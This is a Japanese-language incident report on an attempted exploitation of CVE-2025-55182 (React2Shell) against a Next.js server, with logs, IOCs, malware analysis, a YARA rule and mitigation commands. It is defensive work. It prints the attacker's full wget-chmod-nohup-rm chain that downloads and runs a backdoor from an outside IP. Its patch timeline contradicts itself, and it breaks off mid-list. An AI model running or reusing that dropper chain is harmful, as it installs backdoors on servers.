
CVE-2025-55182 (React2Shell) の実際の攻撃分析 - React Server Components RCE脆弱性
本番環境のNext.jsアプリケーションに対する実際の攻撃分析
2025年12月5日、本番環境のNext.jsアプリケーションが、React Server Componentsにおける重大なリモートコード実行脆弱性 CVE-2025-55182 (React2Shell) を悪用する攻撃者に標的にされました。この攻撃は、サーバー上でLinuxバックドアトロイの木馬をダウンロードし実行しようと試みました。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS スコア | 9.8 (Critical) |
| 攻撃日 | 2025年12月5日 |
| 攻撃結果 | ✅ ブロック済み (パッチ後) |
| マルウェアタイプ | Linux バックドアトロイの木馬 |
| 影響を受けたスタック | Next.js + React Server Components |
CVE-2025-55182 (通称 "React2Shell") は、React Server Components (RSC) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。影響を受けるバージョン:
この脆弱性は、ReactのFlight Server内の renderToReadableStream() 関数に存在します。特別に細工されたRSCペイロードを処理する際、サーバーが特定の入力を適切にサニタイズできず、任意のコード実行に至ります。
攻撃者 → 悪意のあるRSCペイロード → Flight Server → eval() → RCE
攻撃者は、悪意のあるシリアル化されたペイロードを含む細工されたPOSTリクエストを送信し、それがサーバー上でデシリアライズされて実行されます。
| タイムスタンプ (UTC) | イベント |
|---|---|
| Dec 5, 06:20 | Sentry 経由で最初の攻撃を検出 |
| Dec 5, 06:20 | ペイロードがシェルコマンドの実行を試行 |
| Dec 5, 06:20 | 攻撃が部分的に成功 (パッチ前) |
Sentry エラーログ (パッチ前):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| タイムスタンプ | アクション |
|---|---|
| Dec 4, 14:13 | Next.js 16.0.7 にアップグレード |
| Dec 4, 14:13 | パッチ適用バージョン (v1.0.0-beta-4) をデプロイ |
| タイムスタンプ (UTC) | イベント |
|---|---|
| Dec 5, 08:48 | 攻撃試行を検出 |
| Dec 5, 08:48 | ペイロード実行をブロック |
| Dec 5, 08:48 | エラー: syntax error: unexpected ";" |
Sentry エラーログ (パッチ後):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
パッチにより悪意のあるコマンドの実行が正常に防止されました。
| 属性 | 値 |
|---|---|
| ターゲットURL | https://[REDACTED]/ |
| メソッド | POST |
| ユーザーエージェント | Python Requests 2.31 |
| 発信元 | 自動化された攻撃スクリプト |
攻撃者は以下のコマンドチェーンの実行を試みました:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
内訳:
| ステップ | コマンド | 目的 |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | マルウェアのダウンロード |
| 2 | chmod +x /tmp/vim | 実行可能にする |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | バックグラウンドで実行し、ログアウト後も持続 |
| 4 | rm -f /tmp/vim | 証拠の削除 |
| コンポーネント | バージョン |
|---|---|
| OS | Alpine Linux 3.23.0 |
| ランタイム | Node.js v20.19.6 |
| フレームワーク | Next.js 16.0.7 (パッチ適用済み) |
| コンテナ | Docker |
| 属性 | 値 |
|---|---|
| ファイル名 | vim (正規のツールに偽装) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| ファイルタイプ | ELF 64-bit LSB executable, x86-64 |
| 言語 | Go (コンパイル済みバイナリ) |
| ファイルサイズ | ~4.7 MB |
検出率: 13/72 (18%)
| ベンダー | 検出名 |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
VirusTotal リンク: 分析を表示
ELF ヘッダ:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
特定された機能:
| 機能 | 証拠 |
|---|---|
| HTTP/HTTPS クライアント | net/http, *http.Client |
| TLS 暗号化 | crypto/tls, crypto/aes |
| SOCKS5 プロキシ | socks, socks5 |
| DNS 解決 | net/dns/dnsmessage |
| 強力な暗号 | chacha20poly1305, Ed25519 |
抽出された文字列 (関連):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| 深刻度 | ルール | ソース |
|---|---|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
タイプ: Linux バックドアトロイの木馬
機能:
| タイプ | 値 | 説明 |
|---|---|---|
| IP アドレス | 45.76.155.14 | マルウェア配布サーバー |
| URL | http://45.76.155.14/vim | マルウェアダウンロードURL |
| ホスティング | Vultr VPS | クラウドプロバイダー |
| TLD | .cc | C2 ドメインが .cc TLD を使用 |
| タイプ | 値 |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [必要に応じて計算] |
| MD5 | [必要に応じて計算] |
| ファイル名 | vim (偽装) |
| ファイルタイプ | ELF 64-bit x86-64 |
| ファイルサイズ | ~4.7 MB |
| 指標 | 説明 |
|---|---|
外部IPへの wget | 非標準URLからのダウンロード |
/tmp/ 内のファイル | 一時ディレクトリ内の不審な実行ファイル |
nohup + バックグラウンド実行 | 永続化の試み |
| 即時のファイル削除 | 証拠隠滅 |
| Python Requests User-Agent | 自動化された攻撃ツール |
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
| アクション | ステータス | 詳細 |
|---|---|---|
| ✅ Next.js のアップグレード | 完了済み | 16.0.4 → 16.0.7 |
| ✅ React のアップグレード | 完了済み | 19.1.0 → 19.2.1 (パッチ済み) |
| ✅ アプリケーションの再デプロイ | 完了済み | Docker リビルド |
| ✅ マルウェアの分析 | 完了済み | VirusTotal への提出 |
| ✅ ホスティング事業者への報告 | 完了済み | Vultr への不正利用報告を送信 |
| ⏳ 認証情報のローテーション | 保留中 | データベース、JWT、API キー |
2025年12月5日付で、C2サーバーのホスティングプロバイダーであるVultrに対して不正利用報告を提出しました。内容は以下の通り:
| パッケージ | 脆弱性あり | パッチ済み |
|---|---|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (2025年6月以降) |
1. 直ちにアップグレード:
# For Next.js 16.x
npm install [email protected] [email protected] [email protected]
# For Next.js 15.x
npm install [email protected] [email protected] [email protected]
2. 悪意のあるIPをブロック:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. IOC を監視:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. すべてのシークレットをローテーション: